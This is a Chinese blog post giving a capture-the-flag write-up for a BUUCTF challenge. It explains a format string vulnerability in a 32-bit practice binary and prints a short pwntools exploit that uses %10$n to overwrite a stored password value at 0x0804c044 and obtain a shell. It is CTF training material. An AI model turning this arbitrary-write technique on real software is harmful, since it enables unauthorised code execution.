BUUCTF—[第五空间2019 决赛]PWN5

先看看开了什么保护机制

打开32位ida看看

看了一下ida,发现这个程序的意思就是从远程那边读入一个数字,然后要你输入这个数字,输对了就给你shell,输错了就结束程序,关键我们怎么猜得出来呢,这个数字存在远端的文件里,但是我们要注意,数字虽然是存在远端,但是它会读到程序里,所以有两种方法,第一种等读到程序里的时候再想办法泄露出来,第二种它比较是和程序里某个内存里的数字作比较,我们也可以把这个内存里的数字修改了,然后发现这题有个格式化字符串漏洞,所以我们采用第二种思路,用格式化字符串任意地址写把这个数字修改成我们想的就行了
双击dword_804c044,看看这个内存的地址

接下来就是格式化字符串任意地址写的常规操作了,我把这个地方改成了4

from pwn import*
#p=remote('node4.buuoj.cn',28338)
p=process('./pwn1')
gdb.attach(p)
#pause()
p.recvuntil('name:')
payload=p32(0x0804c044)+b'%10$n'
p.sendline(payload)
print(p.recvuntil('passwd:'))
p.sendline(str(4))
p.interactive()
posted @ 2022-10-07 11:07  予柒  阅读(804)  评论(0)    收藏  举报
返回顶端
Live2D /*修改地一:waifu.css*/
/*修改地二:waifu.css*/
/*修改地三:live2d.js*/ /*修改地四:waifu-tips.js*/